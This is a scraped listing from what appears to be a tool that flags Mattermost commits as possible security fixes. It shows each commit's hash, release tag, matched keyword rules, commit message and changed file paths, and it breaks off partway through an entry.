    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.8.3 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cd60532e9a41cbc2150e7747308f9bb08aa61f15 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471, 27685
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) (#27685) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) (#27684) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.9.2 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7bbf7ec130487af9a324040259b2e942d7b9ba3c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471, 27684
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) (#27684) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) (#27683) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a9982ea873ce9209be73f29ad579709e3ecc89ec -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471, 27683
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) (#27683) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58847 Sanitize User (#27471) (#27682) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0b9461fc4b95169acfe0b643a57ac5497389f880 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some security-related keywords: sanitize
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27471, 27682
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58847 Sanitize User (#27471) (#27682) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/users.yaml - - server/channels/api4/user_test.go - - server/public/model/user.go - - server/public/model/user_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - feat(e2e): Manage User Settings e2e tests (#27618) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e917709be58573b3f55d7aa99bbead8a3c667081 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: console, test, system
      -
    • - -
    • -
      The commit message references some github issue: 27618
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      feat(e2e): Manage User Settings e2e tests (#27618)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/integration/channels/enterprise/system_console/user_management/user_management_admin_control_spec.js - - e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e05ec0efc330c3e763157a65eaff11cbf300bf97 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27669
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix E2E test triggering (#27669) Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/e2e-fulltests-ci.yml - - .github/workflows/e2e-tests-ci.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Unify advanced create post and advanced create comment (#26419) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a272fb29a5b00e80b05f4de8209e50ef467f4d85 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, test
      -
    • - -
    • -
      The commit message references some github issue: 26419
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Unify advanced create post and advanced create comment (#26419) * Unify advanced create post and advanced create comment * Re-add focus on mount prop and fix minor selector issue with get draft * Address feedback * Some merge fixes and some comments addressed * Remove tests * Fix tests * Address feedback * Fix formatting bar spacer and minor refactoring * Fix remove upload from clean draft issue * Fix types --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/actions/views/create_comment.test.jsx - - webapp/channels/src/actions/views/create_comment.tsx - - webapp/channels/src/actions/views/drafts.ts - - webapp/channels/src/components/advanced_create_comment/__snapshots__/advanced_create_comment.test.tsx.snap - - webapp/channels/src/components/advanced_create_comment/advanced_create_comment.test.tsx - - webapp/channels/src/components/advanced_create_comment/advanced_create_comment.tsx - - webapp/channels/src/components/advanced_create_comment/index.ts - - webapp/channels/src/components/advanced_create_post/__snapshots__/advanced_create_post.test.tsx.snap - - webapp/channels/src/components/advanced_create_post/advanced_create_post.test.tsx - - webapp/channels/src/components/advanced_create_post/advanced_create_post.tsx - - webapp/channels/src/components/advanced_create_post/index.ts - - webapp/channels/src/components/advanced_create_post/prewritten_chips.tsx - - webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx - - webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx - - webapp/channels/src/components/advanced_text_editor/priority_labels.tsx - - webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx - - webapp/channels/src/components/advanced_text_editor/use_emoji_picker.tsx - - webapp/channels/src/components/advanced_text_editor/use_groups.tsx - - webapp/channels/src/components/advanced_text_editor/use_key_handler.tsx - - webapp/channels/src/components/advanced_text_editor/use_orientation_handler.tsx - - webapp/channels/src/components/advanced_text_editor/use_plugin_items.tsx - - webapp/channels/src/components/advanced_text_editor/use_priority.tsx - - webapp/channels/src/components/advanced_text_editor/use_submit.tsx - - webapp/channels/src/components/advanced_text_editor/use_textbox_focus.tsx - - webapp/channels/src/components/advanced_text_editor/use_upload_files.tsx - - webapp/channels/src/components/analytics/team_analytics/index.ts - - webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap - - webapp/channels/src/components/channel_view/channel_view.tsx - - webapp/channels/src/components/common/chip/chip.tsx - - webapp/channels/src/components/drafts/panel/panel_body.tsx - - webapp/channels/src/components/threading/virtualized_thread_viewer/create_comment.tsx - - webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.tsx - - webapp/channels/src/components/tours/onboarding_tour/send_message_tour_tip.tsx - - webapp/channels/src/i18n/en.json - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.test.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/posts.ts - - webapp/channels/src/selectors/rhs.ts - - webapp/channels/src/selectors/storage.ts - - webapp/channels/src/utils/post_utils.ts - - webapp/channels/src/utils/utils.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Sysadmin manage user settings (#27583) * Opened modal from system... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 87d983cc7ffd87c26a9a219047684847c9663c29 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: console, test, file, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: time, limit, console, test, system
      -
    • - -
    • -
      The commit message references some github issue: 27583
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Sysadmin manage user settings (#27583) * Opened modal from system console * WIP * WIP * WIP * Handled saving user * Successfully updated user based settings * WIP * WIP * All settings are updating well * Fixed modal style * Added admin mode indicators in modal * Added confirmation dialog * Lint fixes * Added license check * Added permission check * Fixed i18n file order * type fix * Updated snapshots * Handled performance debugging setting * Some styling tweaks * Fixed text alighnment * Updated license required from professional to enterprise * Handled long user names * review fixes * Added manage setting option in user list page context menu * Added loader * Minor reordering * Removed confirm modal * Updated snapshots for removed modal * Added some tests * Lint fix * Used new selector in user detail page * Used new selector in user list page * Updated tests * Fixed an incorrect default test
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/report.go - - server/channels/app/user.go - - server/channels/app/users/utils.go - - server/channels/store/sqlstore/post_store.go - - server/public/model/report.go - - server/public/model/user.go - - server/public/model/user_test.go - - webapp/channels/src/components/admin_console/admin_user_card/admin_user_card.scss - - webapp/channels/src/components/admin_console/system_user_detail/__snapshots__/system_user_detail.test.tsx.snap - - webapp/channels/src/components/admin_console/system_user_detail/index.ts - - webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.scss - - webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.test.tsx - - webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx - - webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirmManageUserSettingsModal.tsx - - webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx - - webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx - - webapp/channels/src/components/user_settings/advanced/index.ts - - webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts - - webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx - - webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx - - webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts - - webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx - - webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx - - webapp/channels/src/components/user_settings/display/__snapshots__/user_settings_display.test.tsx.snap - - webapp/channels/src/components/user_settings/display/index.ts - - webapp/channels/src/components/user_settings/display/manage_languages/index.ts - - webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.test.tsx - - webapp/channels/src/components/user_settings/display/manage_languages/manage_languages.tsx - - webapp/channels/src/components/user_settings/display/manage_timezones/index.ts - - webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.test.tsx - - webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.tsx - - webapp/channels/src/components/user_settings/display/user_settings_display.test.tsx - - webapp/channels/src/components/user_settings/display/user_settings_display.tsx - - webapp/channels/src/components/user_settings/headers/setting_desktop_header.scss - - webapp/channels/src/components/user_settings/index.tsx - - webapp/channels/src/components/user_settings/modal/index.ts - - webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx - - webapp/channels/src/components/user_settings/notifications/index.ts - - webapp/channels/src/components/user_settings/notifications/user_settings_notifications.test.tsx - - webapp/channels/src/components/user_settings/notifications/user_settings_notifications.tsx - - webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts - - webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx - - webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts - - webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx - - webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx - - webapp/channels/src/components/widgets/smartLoader/index.tsx - - webapp/channels/src/i18n/en.json - - webapp/channels/src/packages/mattermost-redux/src/action_types/preferences.ts - - webapp/channels/src/packages/mattermost-redux/src/actions/preferences.ts - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/preferences.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/timezone.ts - - webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts - - webapp/channels/src/sass/components/_modal.scss - - webapp/channels/src/sass/routes/_settings.scss - - webapp/channels/src/selectors/admin_console.jsx - - webapp/channels/src/utils/constants.tsx - - webapp/platform/client/src/client4.ts - - webapp/platform/types/src/store.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58778] Fixing white screen for GM conversion (#27385) * fixing... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d249d4d1b0aa98de3cb29a6b572465d415b356d3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version
      -
    • - -
    • -
      The commit message references some github issue: 27385
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58778] Fixing white screen for GM conversion (#27385) * fixing white screen for GM conversion --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/post_view/gm_conversion_message/gm_conversion_message.tsx - - webapp/channels/src/i18n/en.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-59378 Skip flaky PerformanceReporter test (#27626) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7d80b5d04b96a7676434d158a0b455a19e52d867 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27626
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-59378 Skip flaky PerformanceReporter test (#27626)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/utils/performance_telemetry/reporter.test.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix several re-renders on init (#26361) * Fix several re-renders on... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e8b48928772afee4b926ed0db4ca95183491cea8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 26361
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix several re-renders on init (#26361) * Fix several re-renders on init * Fix tests * Address feedback --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/common/hooks/useGetSelfHostedProducts.ts - - webapp/channels/src/components/compass_theme_provider/compass_theme_provider.tsx - - webapp/channels/src/components/onboarding_tasklist/onboarding_tasklist.tsx - - webapp/channels/src/components/sidebar/sidebar_category/sidebar_category_menu/index.tsx - - webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/index.ts - - webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/sidebar_channel_menu.tsx - - webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx - - webapp/channels/src/components/threading/global_threads_link/global_threads_link.tsx - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.test.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/groups.ts - - webapp/channels/src/selectors/rhs.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Support release testing (#27587) * Support release testing * Merge... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 731f056f54e39314ec52d0a73c69f09c01b55bfd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27587
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Support release testing (#27587) * Support release testing * Merge resolve-ref and generate-test-variables jobs
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/e2e-fulltests-ci.yml - - .github/workflows/e2e-tests-ci-template.yml - - e2e-tests/.ci/server.generate.sh - - e2e-tests/.ci/server.start.sh - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-56921] Rendered Latex in Codeblock when rendering disabled... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7c2a461de86529c3ebb3587ace229f6fe776996c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27060
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-56921] Rendered Latex in Codeblock when rendering disabled (#27060) * Rendered Latex in Codeblock when rendering disabled * Fixed Lint error * Removed render function in Latex Component * Fix errors preventing LatexBlock unit tests from running * Updated latex disabled test for Codeblock testing * Fixed latex_block test lint errors * Removed Latex disabled test Snapshot --------- Co-authored-by: Harrison Healey <harrisonmhealey@gmail.com> Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/code_block/code_block.tsx - - webapp/channels/src/components/latex_block/__snapshots__/latex_block.test.tsx.snap - - webapp/channels/src/components/latex_block/latex_block.test.tsx - - webapp/channels/src/components/latex_block/latex_block.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58535 Add more information to LCP and INP metrics (#27484) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e3b2b1329218d3af7ba46605621b48d76fa3f089 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: time, size, fail, cause, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: role, configuration, console, file, test
      -
    • - -
    • -
      The commit message references some github issue: 27484
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58535 Add more information to LCP and INP metrics (#27484) * Improve mocking of imported resources in unit tests We have Webpack configured so that, when code imports an image or other resource, the code gets the URL of that image. Jest now matches that behaviour which is needed because React Testing Library would previously throw an error. * Polyfill ResizeObserver in all unit tests * Ensure haveIChannelPermission always returns a boolean value The previous code could sometimes return undefined. While that should behave the same in practice, it can cause React to print prop type warnings * MM-58535 Add region label to LCP metrics * MM-58535 Upgrade web-vitals and add INP attribution * Change new labels to use snake_case * Remove replaceGlobalStore option from renderWithContext I was going to add this in case any tests failed with this option set to false, but after running those tests, that's not the case. I'm going to remove this as an option since it seems more likely than not that anyone using RTL would prefer to have this on.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/metrics.go - - server/einterfaces/metrics.go - - server/einterfaces/mocks/MetricsInterface.go - - server/enterprise/metrics/metrics.go - - server/public/model/metrics.go - - webapp/channels/jest.config.js - - webapp/channels/package.json - - webapp/channels/src/components/__snapshots__/file_upload_overlay.test.tsx.snap - - webapp/channels/src/components/add_groups_to_channel_modal/__snapshots__/add_groups_to_channel_modal.test.tsx.snap - - webapp/channels/src/components/add_groups_to_team_modal/__snapshots__/add_groups_to_team_modal.test.tsx.snap - - webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap - - webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx - - webapp/channels/src/components/advanced_text_editor/formatting_bar/formatting_bar.test.tsx - - webapp/channels/src/components/announcement_bar/configuration_bar/__snapshots__/configuration_bar.test.tsx.snap - - webapp/channels/src/components/file_info_preview/__snapshots__/file_info_preview.test.tsx.snap - - webapp/channels/src/components/integrations/bots/add_bot/__snapshots__/add_bot.test.tsx.snap - - webapp/channels/src/components/markdown_image/__snapshots__/markdown_image.test.tsx.snap - - webapp/channels/src/components/onboarding_tasklist/__snapshots__/onboarding_tasklist_completed.test.tsx.snap - - webapp/channels/src/components/select_team/__snapshots__/select_team.test.tsx.snap - - webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.test.tsx - - webapp/channels/src/components/user_settings/display/user_settings_theme/custom_theme_chooser/__snapshots__/custom_theme_chooser.test.tsx.snap - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/roles.ts - - webapp/channels/src/tests/image_url_mock.json - - webapp/channels/src/tests/react_testing_utils.tsx - - webapp/channels/src/tests/setup_jest.ts - - webapp/channels/src/utils/notifications.test.ts - - webapp/channels/src/utils/performance_telemetry/element_identification.test.tsx - - webapp/channels/src/utils/performance_telemetry/element_identification.ts - - webapp/channels/src/utils/performance_telemetry/reporter.test.ts - - webapp/channels/src/utils/performance_telemetry/reporter.ts - - webapp/package-lock.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2297732c9c8918044ffc2f35c8674fb4471e8275 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file, test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27393, 27606
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip ci] Support Cloud/daily tests and Zephyr integration * [skip ci] Fix workflow file * [skip ci] Fix typo in workflow input name * Fix cloud variable passing * [skip ci] Fix typo * Utilize master branch image for daily tests * Apply Saturn's suggestion, fixes and improvements (cherry picked from commit 4f68dbb96ed71f1f44942300ae029a0b4ea3ea3c) Co-authored-by: Mario Vitale <mvitale1989@hotmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/e2e-fulltests-ci.yml - - .github/workflows/e2e-tests-ci-template.yml - - e2e-tests/.ci/.e2erc - - e2e-tests/.ci/report.publish.sh - - e2e-tests/.ci/server.cloud_init.sh - - e2e-tests/.ci/server.cloud_teardown.sh - - e2e-tests/cypress/save_report.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Don't modify global variables in TestNoticeValidation (#27591) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6fc5ff572f263fff315296032591e0b090f54d09 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27591
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Don't modify global variables in TestNoticeValidation (#27591)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/product_notices.go - - server/channels/app/product_notices_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump prepackage Github plugin version to 2.3.0 (#27572) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 00dc08824c7f32d46e6a3284bf74b350448a1526 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      The commit message references some github issue: 27572
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump prepackage Github plugin version to 2.3.0 (#27572)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/Makefile - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-56339] Audit logs: on login add UserId and SessionId to audit's... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9b2f20210b079abc0065ca7d885ce220a6cb60d5 -
